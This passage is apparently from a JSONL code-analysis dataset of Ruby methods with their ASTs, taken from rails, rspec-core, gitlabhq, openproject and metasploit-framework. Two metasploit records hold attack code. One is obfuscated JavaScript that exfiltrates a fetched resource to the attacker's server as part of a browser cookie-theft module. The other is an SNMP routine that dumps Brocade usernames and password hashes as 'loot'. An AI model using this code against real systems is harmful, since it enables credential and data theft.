end","complexity_score":10.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_map_slash\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"fakeset\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FakeSet\"]},\"new\"]}]},{\"type\":\"lvasgn\",\"children\":[\"mapper\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Mapper\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"fakeset\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mapper\"]},\"get\",{\"type\":\"str\",\"children\":[\"/\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"to\"]},{\"type\":\"str\",\"children\":[\"posts#index\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"as\"]},{\"type\":\"sym\",\"children\":[\"main\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"/\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fakeset\"]},\"asts\"]},\"first\"]},\"to_s\"]}]}]}]}","id":"732ba485-0ab4-4b12-a1c7-f0f62b79a034"}
{"repo_name":"rspec-core","file_path":"./repos/rspec-core/lib/rspec/core/formatters.rb","start_line":195,"raw_source":"def duplicate_formatter_exists?(new_formatter)\n      @formatters.any? do |formatter|\n        formatter.class == new_formatter.class &&\n          has_matching_output?(formatter, new_formatter)\n      end\n    end","complexity_score":8.3,"ast_json":"{\"type\":\"def\",\"children\":[\"duplicate_formatter_exists?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"new_formatter\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@formatters\"]},\"any?\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"formatter\"]}]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"formatter\"]},\"class\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_formatter\"]},\"class\"]}]},{\"type\":\"send\",\"children\":[null,\"has_matching_output?\",{\"type\":\"lvar\",\"children\":[\"formatter\"]},{\"type\":\"lvar\",\"children\":[\"new_formatter\"]}]}]}]}]}","id":"7a9eaf64-0f7f-4a1f-97de-3f8bac617a6b"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/import/source_user_mapper.rb","start_line":136,"raw_source":"def reset_source_user!(source_user)\n        in_lock(\n          lock_key(source_user.source_user_identifier), ttl: LOCK_TTL, sleep_sec: LOCK_SLEEP, retries: LOCK_RETRIES\n        ) do |retried|\n          if retried\n            source_user.reset\n            next source_user unless reset_source_user?(source_user)\n          end\n\n          ::Import::Framework::Logger.info(\n            message: 'Resetting source user state',\n            source_user_id: source_user.id,\n            source_user_status: source_user.status,\n            source_user_reassign_to_user_id: source_user.reassign_to_user_id,\n            source_user_placeholder_user_id: source_user.placeholder_user_id\n          )\n\n          source_user.status = 0\n          source_user.reassignment_token = nil\n          source_user.reassign_to_user = nil\n          source_user.placeholder_user ||= create_placeholder_user(source_user)\n\n          next source_user if source_user.save\n\n          ::Import::Framework::Logger.error(\n            message: 'Failed to save source user after resetting',\n            source_user_id: source_user.id,\n            source_user_validation_errors: source_user.errors.full_messages\n          )\n\n          source_user.destroy\n          nil\n        end\n      end","complexity_score":30.8,"ast_json":"{\"type\":\"def\",\"children\":[\"reset_source_user!\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"source_user\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"in_lock\",{\"type\":\"send\",\"children\":[null,\"lock_key\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"source_user\"]},\"source_user_identifier\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ttl\"]},{\"type\":\"const\",\"children\":[null,\"LOCK_TTL\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"sleep_sec\"]},{\"type\":\"const\",\"children\":[null,\"LOCK_SLEEP\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"retries\"]},{\"type\":\"const\",\"children\":[null,\"LOCK_RETRIES\"]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"retried\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"retried\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"source_user\"]},\"reset\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"reset_source_user?\",{\"type\":\"lvar\",\"children\":[\"source_user\"]}]},null,{\"type\":\"next\",\"children\":[{\"type\":\"lvar\",\"children\":[\"source_user\"]}]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Import\"]},\"Framework\"]},\"Logger\"]},\"info\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"str\",\"children\":[\"Resetting source user state\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"source_user_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"source_user\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"source_user_status\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"source_user\"]},\"status\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"source_user_reassign_to_user_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"source_user\"]},\"reassign_to_user_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"source_user_placeholder_user_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"source_user\"]},\"placeholder_user_id\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"source_user\"]},\"status=\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"source_user\"]},\"reassignment_token=\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"source_user\"]},\"reassign_to_user=\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"source_user\"]},\"placeholder_user\"]},{\"type\":\"send\",\"children\":[null,\"create_placeholder_user\",{\"type\":\"lvar\",\"children\":[\"source_user\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"source_user\"]},\"save\"]},{\"type\":\"next\",\"children\":[{\"type\":\"lvar\",\"children\":[\"source_user\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Import\"]},\"Framework\"]},\"Logger\"]},\"error\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"str\",\"children\":[\"Failed to save source user after resetting\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"source_user_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"source_user\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"source_user_validation_errors\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"source_user\"]},\"errors\"]},\"full_messages\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"source_user\"]},\"destroy\"]},{\"type\":\"nil\",\"children\":[]}]}]}]}","id":"79ce29ba-2cb3-4857-958c-aceb78d8df50"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/gather/android_browser_new_tab_cookie_theft.rb","start_line":104,"raw_source":"def exfiltration_js\n    js_obfuscate %Q|\n        var x = new XMLHttpRequest();\n        x.open('GET', '');\n        x.responseType = 'arraybuffer';\n        x.onreadystatechange = function(){\n          if (x.readyState == 4) {\n            var buff = new Uint8Array(x.response);\n            var hex = Array.prototype.map.call(buff, function(d){\n              var c = d.toString(16);\n              return (c.length < 2) ? '0'+c : c;\n            }).join('');\n            var x2 = new XMLHttpRequest();\n            x2.open('POST', '#{get_uri}/');\n            x2.setRequestHeader('Content-type', 'text/plain');\n            x2.send(hex);\n          }\n        };\n        x.send();\n\n      |\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"exfiltration_js\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"js_obfuscate\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"        var x = new XMLHttpRequest();\\n\"]},{\"type\":\"str\",\"children\":[\"        x.open('GET', '');\\n\"]},{\"type\":\"str\",\"children\":[\"        x.responseType = 'arraybuffer';\\n\"]},{\"type\":\"str\",\"children\":[\"        x.onreadystatechange = function(){\\n\"]},{\"type\":\"str\",\"children\":[\"          if (x.readyState == 4) {\\n\"]},{\"type\":\"str\",\"children\":[\"            var buff = new Uint8Array(x.response);\\n\"]},{\"type\":\"str\",\"children\":[\"            var hex = Array.prototype.map.call(buff, function(d){\\n\"]},{\"type\":\"str\",\"children\":[\"              var c = d.toString(16);\\n\"]},{\"type\":\"str\",\"children\":[\"              return (c.length < 2) ? '0'+c : c;\\n\"]},{\"type\":\"str\",\"children\":[\"            }).join('');\\n\"]},{\"type\":\"str\",\"children\":[\"            var x2 = new XMLHttpRequest();\\n\"]},{\"type\":\"str\",\"children\":[\"            x2.open('POST', '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"get_uri\"]}]},{\"type\":\"str\",\"children\":[\"/');\\n\"]},{\"type\":\"str\",\"children\":[\"            x2.setRequestHeader('Content-type', 'text/plain');\\n\"]},{\"type\":\"str\",\"children\":[\"            x2.send(hex);\\n\"]},{\"type\":\"str\",\"children\":[\"          }\\n\"]},{\"type\":\"str\",\"children\":[\"        };\\n\"]},{\"type\":\"str\",\"children\":[\"        x.send();\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"      \"]}]}]}]}","id":"fdd6736e-d8c6-4fff-8ebe-63517437d184"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/storages/spec/common/storages/adapters/providers/nextcloud/queries/group_users_query_spec.rb","start_line":115,"raw_source":"def remove_group(authentication, storage, group)\n              authentication.call(storage:, http_options: { headers: { \"OCS-APIRequest\" => \"true\" } }) do |http|\n                http.delete(UrlBuilder.url(storage.uri, \"/ocs/v1.php/cloud/groups\", group))\n              end\n            end","complexity_score":5.9,"ast_json":"{\"type\":\"def\",\"children\":[\"remove_group\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"authentication\"]},{\"type\":\"arg\",\"children\":[\"storage\"]},{\"type\":\"arg\",\"children\":[\"group\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"authentication\"]},\"call\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"storage\"]},{\"type\":\"lvar\",\"children\":[\"storage\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"http_options\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"headers\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"OCS-APIRequest\"]},{\"type\":\"str\",\"children\":[\"true\"]}]}]}]}]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"http\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"http\"]},\"delete\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UrlBuilder\"]},\"url\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"storage\"]},\"uri\"]},{\"type\":\"str\",\"children\":[\"/ocs/v1.php/cloud/groups\"]},{\"type\":\"lvar\",\"children\":[\"group\"]}]}]}]}]}","id":"4cdd9b64-406a-41e8-82e2-65c537c300c1"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/comment_test.rb","start_line":145,"raw_source":"def test_schema_dump_omits_blank_comments\n      output = dump_table_schema \"blank_comments\"\n\n      assert_match %r[create_table \"blank_comments\"], output\n      assert_no_match %r[create_table \"blank_comments\",.+comment:], output\n\n      assert_match %r[t\\.string\\s+\"space_comment\"\\n], output\n      assert_no_match %r[t\\.string\\s+\"space_comment\", comment:\\n], output\n\n      assert_match %r[t\\.string\\s+\"empty_comment\"\\n], output\n      assert_no_match %r[t\\.string\\s+\"empty_comment\", comment:\\n], output\n\n      assert_match %r[t\\.string\\s+\"nil_comment\"\\n], output\n      assert_no_match %r[t\\.string\\s+\"nil_comment\", comment:\\n], output\n\n      assert_match %r[t\\.string\\s+\"absent_comment\"\\n], output\n      assert_no_match %r[t\\.string\\s+\"absent_comment\", comment:\\n], output\n    end","complexity_score":12.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_schema_dump_omits_blank_comments\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"output\",{\"type\":\"send\",\"children\":[null,\"dump_table_schema\",{\"type\":\"str\",\"children\":[\"blank_comments\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"create_table \\\"blank_comments\\\"\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"lvar\",\"children\":[\"output\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_no_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"create_table \\\"blank_comments\\\",.+comment:\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"lvar\",\"children\":[\"output\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"t\\\\.string\\\\s+\\\"space_comment\\\"\\\\n\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"lvar\",\"children\":[\"output\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_no_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"t\\\\.string\\\\s+\\\"space_comment\\\", comment:\\\\n\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"lvar\",\"children\":[\"output\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"t\\\\.string\\\\s+\\\"empty_comment\\\"\\\\n\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"lvar\",\"children\":[\"output\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_no_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"t\\\\.string\\\\s+\\\"empty_comment\\\", comment:\\\\n\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"lvar\",\"children\":[\"output\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"t\\\\.string\\\\s+\\\"nil_comment\\\"\\\\n\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"lvar\",\"children\":[\"output\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_no_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"t\\\\.string\\\\s+\\\"nil_comment\\\", comment:\\\\n\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"lvar\",\"children\":[\"output\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"t\\\\.string\\\\s+\\\"absent_comment\\\"\\\\n\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"lvar\",\"children\":[\"output\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_no_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"t\\\\.string\\\\s+\\\"absent_comment\\\", comment:\\\\n\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"lvar\",\"children\":[\"output\"]}]}]}]}","id":"fe3dea92-99af-4fd0-b93f-83de66e11e0c"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/adapters/postgresql/numbers_test.rb","start_line":60,"raw_source":"def test_reassigning_nan_does_not_mark_record_as_changed\n    record = PostgresqlNumber.create!(single: Float::NAN, double: Float::NAN)\n    record.reload\n    record.single = Float::NAN\n    record.double = Float::NAN\n    assert_not_predicate record, :changed?\n  end","complexity_score":6.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_reassigning_nan_does_not_mark_record_as_changed\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"record\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PostgresqlNumber\"]},\"create!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"single\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Float\"]},\"NAN\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"double\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Float\"]},\"NAN\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"record\"]},\"reload\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"record\"]},\"single=\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Float\"]},\"NAN\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"record\"]},\"double=\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Float\"]},\"NAN\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_not_predicate\",{\"type\":\"lvar\",\"children\":[\"record\"]},{\"type\":\"sym\",\"children\":[\"changed?\"]}]}]}]}","id":"e799fd9d-956d-456b-a21b-43c6f4165e9b"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/encryption/auto_filtered_parameters.rb","start_line":22,"raw_source":"def install_collecting_hook\n          ActiveRecord::Encryption.on_encrypted_attribute_declared do |klass, attribute|\n            attribute_was_declared(klass, attribute)\n          end\n        end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"install_collecting_hook\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Encryption\"]},\"on_encrypted_attribute_declared\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"klass\"]},{\"type\":\"arg\",\"children\":[\"attribute\"]}]},{\"type\":\"send\",\"children\":[null,\"attribute_was_declared\",{\"type\":\"lvar\",\"children\":[\"klass\"]},{\"type\":\"lvar\",\"children\":[\"attribute\"]}]}]}]}","id":"2943af74-af0d-460c-9a16-51e99a4a6918"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/seeders/demo_data/work_package_board_seeder.rb","start_line":74,"raw_source":"def seed_kanban_board(board_data)\n      widgets = seed_kanban_board_widgets(board_data.lookup(\"statuses\"))\n      board =\n        ::Boards::Grid.new(\n          project:,\n          name: board_data.lookup(\"name\"),\n          options: { \"type\" => \"action\", \"attribute\" => \"status\", \"highlightingMode\" => \"priority\" },\n          widgets:,\n          column_count: widgets.count,\n          row_count: 1\n        )\n      set_board_filters(board, board_data)\n      board.save!\n    end","complexity_score":9.9,"ast_json":"{\"type\":\"def\",\"children\":[\"seed_kanban_board\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"board_data\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"widgets\",{\"type\":\"send\",\"children\":[null,\"seed_kanban_board_widgets\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"board_data\"]},\"lookup\",{\"type\":\"str\",\"children\":[\"statuses\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"board\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Boards\"]},\"Grid\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project\"]},{\"type\":\"send\",\"children\":[null,\"project\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"board_data\"]},\"lookup\",{\"type\":\"str\",\"children\":[\"name\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"options\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"type\"]},{\"type\":\"str\",\"children\":[\"action\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"attribute\"]},{\"type\":\"str\",\"children\":[\"status\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"highlightingMode\"]},{\"type\":\"str\",\"children\":[\"priority\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"widgets\"]},{\"type\":\"lvar\",\"children\":[\"widgets\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"column_count\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"widgets\"]},\"count\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"row_count\"]},{\"type\":\"int\",\"children\":[1]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"set_board_filters\",{\"type\":\"lvar\",\"children\":[\"board\"]},{\"type\":\"lvar\",\"children\":[\"board_data\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"board\"]},\"save!\"]}]}]}","id":"c1494e5f-ad1e-46fc-9166-2635e10fa6cb"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/snmp/brocade_enumhash.rb","start_line":32,"raw_source":"def run_host(ip)\n    snmp = connect_snmp\n\n    value = snmp.get_value('sysDescr.0')\n\n    unless value =~ /Brocade/\n      print_error(\"#{ip} - System is not Brocade: #{value}\")\n      return\n    end\n\n    @users = []\n    snmp.walk('1.3.6.1.4.1.1991.1.1.2.9.2.1.1') do |row|\n      row.each { |val| @users << val.value.to_s }\n    end\n\n    @hashes = []\n    snmp.walk('1.3.6.1.4.1.1991.1.1.2.9.2.1.2') do |row|\n      row.each { |val| @hashes << val.value.to_s }\n    end\n\n    print_good(\"#{ip} - Found user and password hashes:\")\n\n    credinfo = ''\n    @users.each_index do |i|\n      credinfo << \"#{@users[i]}:#{@hashes[i]}\" << \"\\n\"\n      print_good(\"#{@users[i]}:#{@hashes[i]}\")\n    end\n\n    # Woot we got loot.\n    loot_name = 'brocade.hashes'\n    loot_type = 'text/plain'\n    loot_filename = 'brocade_hashes.txt'\n    loot_desc = 'Brocade username and password hashes'\n    p = store_loot(\n      loot_name,\n      loot_type,\n      datastore['RHOST'],\n      credinfo,\n      loot_filename,\n      loot_desc\n    )\n    print_status(\"Credentials saved: #{p}\")\n  rescue ::SNMP::UnsupportedVersion => e\n    vprint_error(\"#{ip} - #{e.message}\")\n  rescue ::SNMP::RequestTimeout => e\n    vprint_error(\"#{ip} - #{e.message}\")\n  rescue ::Interrupt\n    raise $ERROR_INFO\n  rescue StandardError => e\n    print_error(\"#{ip} - Error: #{e.class} #{e}\")\n    disconnect_snmp\n  end","complexity_score":70.5,"ast_json":"{\"type\":\"def\",\"children\":[\"run_host\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"ip\"]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"snmp\",{\"type\":\"send\",\"children\":[null,\"connect_snmp\"]}]},{\"type\":\"lvasgn\",\"children\":[\"value\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"snmp\"]},\"get_value\",{\"type\":\"str\",\"children\":[\"sysDescr.0\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"Brocade\"]},{\"type\":\"regopt\",\"children\":[]}]}]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ip\"]}]},{\"type\":\"str\",\"children\":[\" - System is not Brocade: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]}]}]}]},{\"type\":\"return\",\"children\":[]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@users\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"snmp\"]},\"walk\",{\"type\":\"str\",\"children\":[\"1.3.6.1.4.1.1991.1.1.2.9.2.1.1\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"row\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"val\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@users\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"val\"]},\"value\"]},\"to_s\"]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@hashes\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"snmp\"]},\"walk\",{\"type\":\"str\",\"children\":[\"1.3.6.1.4.1.1991.1.1.2.9.2.1.2\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"row\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"val\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@hashes\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"val\"]},\"value\"]},\"to_s\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ip\"]}]},{\"type\":\"str\",\"children\":[\" - Found user and password hashes:\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"credinfo\",{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@users\"]},\"each_index\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"i\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"credinfo\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@users\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"i\"]}]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@hashes\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"i\"]}]}]}]}]},\"<<\",{\"type\":\"str\",\"children\":[\"\\n\"]}]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"t